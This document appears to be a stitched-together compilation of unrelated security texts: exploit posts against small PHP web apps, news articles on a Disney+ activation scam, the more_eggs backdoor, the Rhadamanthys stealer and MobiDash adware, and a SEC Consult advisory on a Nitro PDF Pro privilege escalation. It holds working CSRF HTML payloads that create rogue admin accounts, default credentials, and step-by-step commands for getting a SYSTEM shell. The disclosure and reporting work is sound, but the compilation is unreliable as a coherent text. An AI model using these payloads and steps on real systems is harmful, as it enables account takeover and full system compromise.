Supply Chain Management version 1.0 suffers from a backup disclosure vulnerability.

    =============================================================================================================================================| # Title     : Supply Chain Management v1.0 Backup Disclosure Vulnerability                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://download-media.code-projects.org/2020/04/Supply_Chain_Management_IN_PHP_CSS_Js_AND_MYSQL__FREE_DOWNLOAD.zip         |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /backup/[+] Panel : http://127.0.0.1/scm-master/backup/Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Supply Chain Management 1.0 Backup Disclosure

Event Management System version 1.0 suffers from an insecure direct object reference vulnerability.

    =============================================================================================================================================| # Title     : Event Management System v1.0 IDOR Vulnerability                                                                             || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.kashipara.com/project/download/project2/user/2023/202302/kashipara.com_event-mgt-sys-zip.zip                    |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Direct Object Reference : suffers from an insecure direct object reference that allows users to access the administrative interface.[+] Use Payload : /admin/gallary.php[+] http://127.0.0.1/event_mgt_sys/admin/gallary.phpGreetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Event Management System 1.0 Insecure Direct Object Reference

Student Attendance Management System version 1.0 suffers from an ignored default credential vulnerability.

    =============================================================================================================================================| # Title     : Student Attendance Management System v1.0 Insecure Settings Vulnerability                                                   || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/14561/student-attendance-management-system-using-phpmysqli-source-code.html              |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Student Attendance Management System 1.0 Insecure Settings

Printing Business Records Management System version 1.0 suffers from a cross site request forgery vulnerability.

    =============================================================================================================================================| # Title     : Printing Business Records Management System v1.0 CSRF Add ADmin Vulnerability                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.kashipara.com/project/download/project2/user/2023/202301/kashipara.com_pbrms-0-zip.zip                          |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] The following html code add new admin .[+] Line 06 set your target.[+] Line 15 + 19 set your user & pass[+] save code as poc.html .<!DOCTYPE html> <html> <body> <script> function submitRequest()  { var xhr = new XMLHttpRequest();  xhr.open("POST", "http://localhost/pbrms/classes/Users.php?f=save", true); xhr.setRequestHeader("Accept", "*\/*");  xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------"); xhr.withCredentials = true;  var body = "-----------------------------\r\n" +  "Content-Disposition: form-data; name=\"username\"\r\n" +  "\r\n" +  "indoushka\r\n" +  "-----------------------------\r\n" +  "Content-Disposition: form-data; name=\"password\"\r\n" +  "\r\n" +  "Hacked\r\n" +  "-----------------------------\r\n" +  "Content-Disposition: form-data; name=\"type\"\r\n" +  "\r\n" +  "1\r\n" +  "-------------------------------\r\n";  var aBody = new Uint8Array(body.length);  for (var i = 0; i < aBody.length; i++)  aBody[i] = body.charCodeAt(i);  xhr.send(new Blob([aBody]));  } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form>  </body>  </html>Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Printing Business Records Management System 1.0 Cross Site Request Forgery

Online Eyewear Shop version 1.0 suffers from a cross site request forgery vulnerability.

    =============================================================================================================================================| # Title     : Online Eyewear Shop v1.0 CSRF Add ADmin Vulnerability                                                                       || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.kashipara.com/project/download/project2/user/2023/202301/kashipara.com_php-oews-zip.zip                          |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] The following html code add new admin .[+] Line 06 set your target.[+] Line 15 + 19 set your user & pass[+] save code as poc.html .<!DOCTYPE html> <html> <body> <script> function submitRequest()  { var xhr = new XMLHttpRequest();  xhr.open("POST", "http://localhost/oews/admin/classes/Users.php?f=save", true); xhr.setRequestHeader("Accept", "*\/*");  xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------"); xhr.withCredentials = true;  var body = "-----------------------------\r\n" +  "Content-Disposition: form-data; name=\"username\"\r\n" +  "\r\n" +  "indoushka\r\n" +  "-----------------------------\r\n" +  "Content-Disposition: form-data; name=\"password\"\r\n" +  "\r\n" +  "Hacked\r\n" +  "-----------------------------\r\n" +  "Content-Disposition: form-data; name=\"type\"\r\n" +  "\r\n" +  "1\r\n" +  "-------------------------------\r\n";  var aBody = new Uint8Array(body.length);  for (var i = 0; i < aBody.length; i++)  aBody[i] = body.charCodeAt(i);  xhr.send(new Blob([aBody]));  } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form>  </body>  </html>Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Online Eyewear Shop 1.0 Cross Site Request Forgery

Next time you need to activate a subscription on your TV, watch out for these fake sites scammers are using to trick you and steal your money.

A common way to activate digital subscriptions such as Netflix, Prime or Disney+ on a new TV is to visit a website and enter the code seen on your screen. It’s much easier than having to authenticate using a remote and typing a username and password.

Scammers are creating fake activation pages that they get indexed in Google to lure in victims. Once someone goes to one of these pages, they are redirected to a fake Microsoft scanner that claims child pornography was found on their computer.

Getting from the family-friendly Disney activation page to a very graphic alert is sure to get many victims to panic, even if they have done absolutely nothing wrong. You can see what this scheme looks like in the animation below:

**Malicious Google search results**

The scammers are using Search Engine Optimization (SEO) techniques to place their fraudulent sites on Google’s search results page. Unlike what we have seen before, these are not malicious ads but rather organic search results.

One of the fake websites, _disneyplusbegins\[.\]com_, is a play off the official website, which can be seen when you do a Google search for ‘disney plus begin’:

Clicking on the link will take you to the aforementioned fake site that appears to prompt users to enter their code:

When interacting with the page, victims are automatically redirected to another site hosted on Microsoft Azure. A fake Windows Defender scanner claims that “_Access to this PC has been blocked for security reasons. Alureon Spyware With Child Pornography Download Detected_“:

The page contains a background image with pornographic material, as if it were from sites victims may have visited:

Despite the scary warning page, this is all a scam and you do not need to call the phone number shown on screen. Scammers are waiting for people to call in so they can impersonate Microsoft, remotely log into your computer and either make you send them money or steal directly from your bank account.

**Safety tips**

Visiting a website to activate a new product or service is something we all do at some point. It is easier to quickly type a few keywords into Google rather than entering the full website URL.

However, Google search results can be laced with malicious ads or links to fraudulent pages. If there is a QR code to scan on your TV, you may want to use that instead (with caution) or maybe spend the extra few seconds it takes to type the full URL (making sure you don’t typo it!).

Finally, just know that these fake warning pages are just that, fake. You can simply close them down by clicking on the ‘X’ at the top right. One thing to be careful about is avoiding clicking anywhere else on the page, in particular buttons or images that may say something like “return to safety”. For more practical tips, check out this article on CNBC, in particular the “How to click without getting into online trouble” part.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 Fake Disney+ activation page redirects to pornographic scam 

The FIN6 group is the likely culprit behind a spear-phishing campaign that demonstrates a shift in tactics, from targeting job seekers to going after those who hire.

Source: Kay Roxby via Alamy Stock Photo

A long-active threat group known for targeting multinational financial organizations has been impersonating job seekers in order to target talent recruiters. The method is a spear-phishing campaign spreading the "more\_eggs" backdoor, which is capable of executing secondary malware payloads.

Researchers from Trend Micro discovered campaign distributing the JScript backdoor, which is part of a malware-as-a-service (MaaS) toolkit called Golden Chickens, they revealed in analysis published this week published this week. They believe that the campaign is likely the work of FIN6, which is known for using the backdoor to target their victims. However, Trend Micro emphasized that the nature of the malware being a part of an MaaS package "blurs the lines between different threat actors" and thus makes precise attribution difficult.

FIN6 has been known in the past to pose as recruitment officers to target job seekers, but it appears to be "moving from posing as fake recruiters to now masquerading as fake job applicants" in a shift in tactics, Trend Micro researchers wrote in a blog post about the attacks.

Trend Micro identified the campaign when an employee who works as a talent search lead at a customer in the engineering sector downloaded a fake resume from a purported job applicant for a sales engineer position. The downloaded file executed a malicious .lnk file that resulted in a more\_eggs infection.

Related:Dark Reading Confidential: Meet the Ransomware Negotiators

"A spear-phishing email was initially sent from allegedly from 'John Cboins' using a Gmail address to a senior executive at the company," the researchers wrote. That email contained no attachments or URLs but instead was a social engineering ploy demonstrating "that the threat actor was attempting to gain the user's confidence," they wrote.

Soon after that communication, a recruitment officer downloaded what was supposed to be a resume, John Cboins.zip, from a URL using Google Chrome, though "it was not determined where this user obtained the URL," the researchers noted.

Further investigation of the URL revealed what appeared to be a typical website of a job applicant that even utilizes a CAPTCHA test and would not likely raise suspicions, thus capable of easily deceiving an unsuspecting recruiter into thinking he or she was corresponding with a legitimate candidate, they said.

**Same Payload, Different Nesting Methods**

Various security researchers have observed more\_eggs being used in attacks as early as 2017 against a variety of targets, including Russian financial institutions and mining firms, and other multinational organizations. As mentioned, more\_eggs is part of the Golden Chickens toolkit, which is distributed by Venom Spider, an underground MaaS provider also known as badbullzvenom, according to Trend Micro.

Related:Zimbra RCE Vuln Under Attack Needs Immediate Patching

While the backdoor is historically a common denominator among different threat campaigns by Venom Spider, the methods used for distributing the malware vary. Some attacks involved phishing schemes with malicious documents that contained JavaScript and PowerShell scripts, while others used LinkedIn and email to lure employees with fake job offers, leading them to malicious domains that host malicious .zip files, the researchers noted.

Attackers also have used phishing emails to distribute .zip files disguised as images to initiate a more\_eggs infection, while a June campaign again leveraged LinkedIn to trick recruiters into accessing a fake job resume site that distributed the malware as a malicious .lnk file.

There appear to be two active campaigns currently spreading the malware that target victims who "are in roles that attackers could leverage to identify valuable assets and have higher potential for financial gain," the researchers wrote.

**Prevent Hatching of "More\_Eggs"**

Traditional anti-malware solutions should immediately detect and eliminate an infection by more\_eggs on a corporate network. However, factors such as an organization’s operational needs, human fallibility, and potential misconfigurations can pose a risk of the malware slipping past these detections, according to Trend Micro.

Related:Retail & Hospitality ISAC Announces Pam Lindemoen As New CSO and VP

"The advanced social engineering techniques employed — such as using a convincing website and a malicious file disguised as a resume to start the infection — underscore the critical need for organizations to maintain continuous vigilance," the researchers wrote. "It is imperative that defenders implement robust threat detection measures and foster a culture of cybersecurity awareness to effectively combat these evolving threats."

Trend Micro shared various indicators of compromise (IoCs) related to the campaigns in the post. Organizations with managed detection and response (MDR) systems in place can use them to set up custom filters and models tailored to detect a specific threat like more\_eggs that then can be fed to a security playbook to automate response to an alert, according to the post.

**About the Author**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

Cyberattackers Use HR Targets to Lay More_Eggs Backdoor

The threat actors behind the Rhadamanthys information stealer have added new advanced features to the malware, including using artificial intelligence (AI) for optical character recognition (OCR) as part of what's called "Seed Phrase Image Recognition."
"This allows Rhadamanthys to extract cryptocurrency wallet seed phrases from images, making it a highly potent threat for anyone dealing in

The threat actors behind the Rhadamanthys information stealer have added new advanced features to the malware, including using artificial intelligence (AI) for optical character recognition (OCR) as part of what's called "Seed Phrase Image Recognition."

"This allows Rhadamanthys to extract cryptocurrency wallet seed phrases from images, making it a highly potent threat for anyone dealing in cryptocurrencies," Recorded Future's Insikt Group said in an analysis of version 0.7.0 of the malware.

"The malware can recognize seed phrase images on the client side and send them back to the command-and-control (C2) server for further exploitation."

First discovered in the wild in September 2022, Rhadamanthys has emerged as one of the most potent information stealers that are advertised under the malware-as-a-service (MaaS) model, alongside Lumma and others.

The malware continues to have an active presence despite suffering bans from underground forums like Exploit and XSS for targeting entities within Russia and the former Soviet Union, with its developer, who goes by the name "kingcrete" (aka "kingcrete2022"), finding ways to market the new versions on Telegram, Jabber, and TOX.

The cybersecurity company, which is set to be acquired by Mastercard for $2.65 billion, said the stealer is sold on a subscription basis for $250 per month (or $550 for 90 days), allowing its customers to harvest a wide range of sensitive information from compromised hosts.

This includes system information, credentials, cryptocurrency wallets, browser passwords, cookies, and data stored in various applications, while simultaneously taking steps to complicate analysis efforts within sandboxed environments.

Version 0.7.0, the most recent version of Rhadamanthys released in June 2024, significantly improves upon its predecessor 0.6.0, which came out in February 2024.

It comprises a "complete rewrite of both client-side and server-side frameworks, improving the program's execution stability," Recorded Future noted. "Additionally, 30 wallet-cracking algorithms, AI-powered graphics, and PDF recognition for phrase extraction were added. The text extraction capability was enhanced to identify multiple saved phrases."

Also included is a feature to allow threat actors to run and install Microsoft Software Installer(MSI) files in an apparent effort to evade detection by security solutions installed on the host. It further contains a setting to prevent re-execution within a configurable time frame.

Rhadamanthys's high-level infection chain

A noteworthy aspect of Rhadamanthys is its plugin system that can augment its capabilities with keylogger, cryptocurrency clipper, and reverse proxy functionality.

"Rhadamanthys is a popular choice for cybercriminals," Recorded Future said. "Coupled with its rapid development and innovative new features, it is a formidable threat all organizations should be aware of."

The development comes as Google-owned Mandiant detailed Lumma Stealer's use of customized control flow indirection to manipulate the execution of the malware.

"This technique thwarts all binary analysis tools including IDA Pro and Ghidra, significantly hindering not only the reverse engineering process, but also automation tooling designed to capture execution artifacts and generate detections," researchers Nino Isakovic and Chuong Dong said.

Rhadamanthys and Lumma, alongside other stealer malware families like Meduza, StealC, Vidar, and WhiteSnake, have also been found releasing updates in recent weeks to collect cookies from the Chrome web browser, effectively bypassing newly introduced security mechanisms like app-bound encryption.

On top of that, the developers behind the WhiteSnake Stealer have added the ability to extract CVC codes from credit cards stored in Chrome, highlighting the ever-evolving nature of the malware landscape.

That's not all. Researchers have identified an Amadey malware campaign that deploys an AutoIt script, which then launches the victim's browser in kiosk mode to force them to enter their Google account credentials. The login information is stored in the browser's credential store on disk for subsequent harvesting by stealers such as StealC.

These ongoing updates also follow the discovery of new drive-by download campaigns that deliver information stealers by tricking users into manually copying and executing PowerShell code to prove they are human by means of a deceptive CAPTCHA verification page.

As part of the campaign, users searching for video streaming services on Google are redirected to malicious URL that urges them to press the Windows button + R to launch the Run menu, paste an encoded PowerShell command, and execute it, according to CloudSEK, eSentire, Palo Alto Networks Unit 42, and Secureworks.

The attack, which ultimately delivers stealers such as Lumma, StealC, and Vidar, is a variant of the ClickFix campaign documented in recent months by ReliaQuest, Proofpoint, McAfee Labs, and Trellix.

"This novel attack vector poses significant risk, as it circumvents browser security controls by opening a command prompt," Secureworks said. "The victim is then directed to execute unauthorized code directly on their host."

Phishing and malvertising campaigns have also been observed distributing Atomic macOS Stealer (AMOS), Rilide, as well as a new variant of a stealer malware called Snake Keylogger (aka 404 Keylogger or KrakenKeylogger).

Furthermore, information stealers like Atomic, Rhadamanthys, and StealC have been at the heart of over 30 scam campaigns orchestrated by a cybercrime gang known as Marko Polo to conduct cryptocurrency theft across platforms by impersonating legitimate brands in online gaming, virtual meetings and productivity software, and cryptocurrency.

"Marko Polo primarily targets gamers, cryptocurrency influencers, and software developers via spear-phishing on social media — highlighting its focus on tech-savvy victims," Recorded Future said, adding "likely tens of thousands of devices have been compromised globally."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

AI-Powered Rhadamanthys Stealer Targets Crypto Wallets with Image Recognition

ThreatDown research uncovered a campaign that spreads a annoying adware for Android devices through several methods

Android users, be on your guard against adware trying to infect your device.

The adware—known as MobiDash—is spreading via several channels, according to ThreatDown research.

One of the characteristics that makes MobiDash stand out is that it can be added to legitimate apps without changing how the original app functions. Say, for example, you install a calculator app: You still get the calculator, but you get adware served to you on the side.

Another devious feature is that MobiDash often waits for a few days before it becomes active, making it harder for the user to work out where the ads are coming from. The app they downloaded works, and because there’s no immediate sign of infection there is no reason to suspect that app.

The ThreatDown investigation started by researching a domain that recently popped up in a phishing campaign. We found that besides the phishing campaign, links to this domain were being spread on Facebook.

Link in Facebook post

But not just Facebook, we found that MobiDash was also being spread on certain sites that specialize in explicit content.

  

When victims click the link, it starts a chain of redirects (lookebonyhill.com > apkretro.com > 3-dl-app.com) that ends in the automatic download of an .apk file, although some users reportedly had to use the Download button.

Within a few days, the user will start to see ads pop up out of nowhere, until the app is uninstalled.

**How to avoid/remove adware**

1.  Be careful what you click on: In the Facebook example above, you can see there is an unusual looking link. Don’t be tempted to click on a site you don’t know.
2.  Don’t install apps from unknown sources: Use the Google Play Store as much as you can.
3.  Look out for the Download website we posted a screenshot of above: The fact that the site displays no name for the apk you just downloaded should be a red flag that it’s not be the one you wanted or that it has extra adware attached to it.
4.  Use Malwarebytes for Android. We’ll detect and remove MobiDash from your device, as well as block the start of the redirect chain.

Malwarebytes blocks lookebonyhill\[.\]com

 Android users targeted on Facebook and porn sites, served adware 

The Nitro PDF Pro application uses a .msi installer file (embedded into an executable .exe installer file) for installation. The MSI installer uses custom actions in repair mode in an unsafe way. Attackers with low-privileged system access to a Windows system where Nitro PDF Pro is installed, can exploit the cached MSI installer's custom actions to effectively escalate privileges and get a command prompt running in context of NT AUTHORITY\SYSTEM. Versions prior to 14.26.1.0 and 13.70.8.82 and affected.

SEC Consult Vulnerability Lab Security Advisory < 20240930-0 >  
=======================================================================  
              title: Local Privilege Escalation via MSI Installer  
            product: Nitro PDF Pro  
 vulnerable version: <14.26.1.0  
                     <13.70.8.82  
      fixed version: 14.26.1.0 or higher  
                     13.70.8.82 or higher  
         CVE number: CVE-2024-35288  
             impact: high  
           homepage: https://www.gonitro.com/  
              found: 2023-12-19  
                 by: Sandro Einfeldt  
                     Michael Baer (Office Munich)  
                     SEC Consult Vulnerability Lab 

                     An integrated part of SEC Consult, an Eviden business  
                     Europe | Asia

                     https://www.sec-consult.com

=======================================================================

Vendor description:  
-------------------  
"We are on a mission to deliver a one-of-a-kind platform that accelerates   
document productivity for businesses around the world.

Nitro was born in a bustling Melbourne laneway back in 2005. It started   
with a team of three, a single product and a goal to provide the world   
with better tools for everyday work. Our team now spans the globe and   
works with over half of the Fortune 500, but we haven't strayed too far   
from our roots. We put our customers, employees, and communities at the   
center of everything we do."

Source: https://www.gonitro.com/about/our-story

Business recommendation:  
------------------------  
The vendor provides a patch which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the  
product conducted by security professionals to identify and resolve potential  
further security issues.

Vulnerability overview/description:  
-----------------------------------  
1) Local Privilege Escalation via MSI Installer (CVE-2024-35288)   
The Nitro PDF Pro application uses a .msi installer file (embedded into an   
executable .exe installer file) for installation. The MSI installer uses custom   
actions in repair mode in an unsafe way. Attackers with low-privileged system   
access to a Windows system where Nitro PDF Pro is installed, can exploit the   
cached MSI installer's custom actions to effectively escalate privileges and get   
a command prompt running in context of NT AUTHORITY\SYSTEM. 

Note:   
This attack does not work using a recent version of the Edge Browser or   
Internet Explorer. A different browser, such as Chrome or Firefox, needs to be   
used. Also make sure, that Edge or IE have not been set as default browser  
and that Firefox or Chrome are not running before attempting to exploit it.  
Otherwise, the spawned process would be running with your own permissions and  
the installer will just add a new tab to the browser, instead of spawning a  
new process with SYSTEM.

Proof of concept:  
-----------------  
1) Local Privilege Escalation via MSI Installer (CVE-2024-35288)  
After the installation of the software in standard configuration, any low-  
privileged user can access the cached (randomly named) .msi file in the   
following directory:

C:\Windows\Installer

A low privileged attacker can start the installer in repair mode   
(which is then running with SYSTEM privileges) without UAC popping up,   
by using the following command:

msiexec.exe /fa C:\Installer\<installer name>.msi

At the end of the repair process, three sub-processes (certutil.exe), called   
by MSI custom actions, perform the following operations:

[SystemFolder]CertUtil –addstore –f "ca" "[APPLICATIONFOLDER]notarius-root-certificate-authority.cer"  
[SystemFolder]CertUtil –addstore –f "ca" "[APPLICATIONFOLDER]notarius-certificate-authority.cer"  
[SystemFolder]CertUtil –addstore –f "ca" "[APPLICATIONFOLDER]notarius-root-certificate-authority_2021-2036.cer"  

The previously mentioned operations get executed in a conhost.exe window in   
the context of NT AUTHORITY\SYSTEM. The attacker can use the appearing   
conhost.exe windows to get an elevated command prompt. Therefore, the attacker   
has to interrupt the execution flow of one of the certutil operations before   
the conhost.exe window closes. This can be done by locking the file operations   
on one of the following files:  

notarius-root-certificate-authority.cer  
notarius-certificate-authority.cer   
notarius-root-certificate-authority_2021-2036.cer

For this purpose, the attacker can use SetOpLock.exe from the following source:

https://github.com/googleprojectzero/symboliclink-testing-tools

To lock all operations on one of the previously mentioned files, the attacker  
has to use the following syntax:

while ($true) {  
   .\SetOpLock.exe <Path> x   
}

For example, to lock the operations on the first of the mentioned files, the   
following command loop can be used:

while ($true) {  
  .\SetOpLock.exe "C:\Program Files\Nitro\PDF Pro\14\notarius-root-certificate-authority.cer" x   
}

The tool will lock any operation on the file until the attacker presses Enter.  
While executing the previously mentioned msiexec-command, multiple operation  
locks will get triggered. The attacker has to skip multiple of them (by  
pressing Enter) until a conhost.exe window opens. The conhost.exe process is   
running with SYSTEM privileges and can be used to escalate privileges. The   
following steps have to be conducted:

1. Right click on the top bar of the conhost.exe window.  
2. Click on "Properties".  
3. Under options, click on the "Legacyconsolemode" link.  
4. Open the link with a browser other than Internet Explorer or Edge (both   
   don't open as SYSTEM in Windows 11).  
5. In the opened browser window press the key combination "CTRL+o".  
6. Type "C:\Windows\System32\cmd.exe" in the top bar and press Enter.

A command prompt should open with the user permission context of   
NT AUTHORITY\SYSTEM. The privileges have been escalated and the system is   
fully compromised.

Vulnerable / tested versions:  
-----------------------------  
The following version has been tested which was the latest version available  
at the time of the test:  
* Nitro PDF Pro 14.18.1.41

According to the vendor, version branch 13 is also affected. The vendor  
confirmed that the following versions are vulnerable:

* Nitro PDF Pro <14.26.1.0  
* Nitro PDF Pro <13.70.8.82

Vendor contact timeline:  
------------------------  
2023-12-22: Contacting vendor through security@gonitro.com; asking for PGP key.  
            No response.  
2024-01-11: Asking whether our email was received  
2024-01-15: Vendor response: high workload, requesting security advisory,  
            PGP key will be shared in another email.   
2024-01-16: No PGP key received, asking again.  
2024-01-17: Sending encrypted security advisory.  
2024-01-30: Asking for a status update.  
2024-02-01: Vendor is currently investigating the issue to ensure it applies  
            to the latest version of the Pro software.  
2024-02-12: Vendor asking for tested Windows version.  
2024-02-13: Tested with Windows 10, referenced advisory information to only  
            use Firefox or Chrome browser, not Edge/IE.  
2024-03-05: Asking for a status update, if the issue could be reproduced, whether  
            we should reserve a CVE number.  
2024-03-07: Vendor will provide update in a few days, few issues in the queue.  
            Will ask internally regarding CVE.  
2024-04-08: Asking for status update. Setting advisory disclosure date  
            to 17th April.  
2024-04-08: Vendor was unable to reproduce issue, asking for a video to  
            verify the issue.  
2024-04-09: Providing POC video to the vendor.  
2024-04-11: Vendor still unable to reproduce.  
            Suggesting short call to demonstrate the issue; no response.  
2024-04-16: Asking how to proceed now.  
            Vendor: was now able to reproduce the issue on Windows 10,  
            patch implementation will be expedited.  
            Telling the vendor that we will wait for the patch, asking  
            if they reserve a CVE.  
2024-05-02: Vendor: CVE is being requested, patch is planned as soon as   
            possible.  
2024-05-02: Confirming advisory release after patch is available and   
            other necessary details (fixed version number, CVE, etc).  
2024-05-21: Vendor is still waiting for CVE.  
2024-05-22: Asking whether the issue is otherwise fixed, asking for version  
            number etc; No response.  
2024-06-17: Asking for status update again, regarding patch & CVE.  
            Fix is completed for current version 14.x, preparing a patch, but  
            also checking previous versions.  
2024-06-21: Vendor informs us that version 13 is also affected which takes  
            more time to backport.   
2024-06-24: Giving more time to patch and coordinate release versions.   
            Questions about CVE.  
2024-06-24: Vendor responds that CVE-2024-35288 can be used.  
2024-07-15: Vendor releases version 14.26.1.0 which includes the fix for v14.  
2024-09-17: Vendor informs us that security update for v13 is scheduled for  
            25th September (seems we did not receive this email).  
2024-09-23: Vendor following up regarding patch schedule & acknowledgement.  
2024-09-24: Confirming receipt of email and patch day, our advisory will be  
            scheduled for early next week.  
2024-09-24: Vendor provides affected version numbers.  
2024-09-25: Asking vendor for clarification regarding version numbers.  
2024-09-25: Vendor sends version numbers for the fix (13.70.8.82, 14.26.1.0)  
2024-09-30: Coordinated release of security advisory.

Solution:  
---------  
The vendor provides a patch in version 13.70.8.82 and 14.26.1.0 which can be  
downloaded from the following URL:  
https://www.gonitro.com/product-details/downloads/pdf-pro

The vendor released a security advisory as well:  
https://www.gonitro.com/security/updates

SEC Consult has also released a blog post on 12th September 2024 regarding MSI  
installer security issues tracked as CVE-2024-38014 and a general fix by  
Microsoft. We have contacted Microsoft to have a more general solution for  
every affected vendor. For further details check out the blog post:  
https://r.sec-consult.com/msi

Workaround:  
-----------  
None

Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab   
An integrated part of SEC Consult, an Eviden business  
Europe | Asia

About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Eviden business. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://sec-consult.com/contact/  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: https://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult

EOF Sandro Einfeldt, Michael Baer, Johannes Greil / @2024

Tag

#google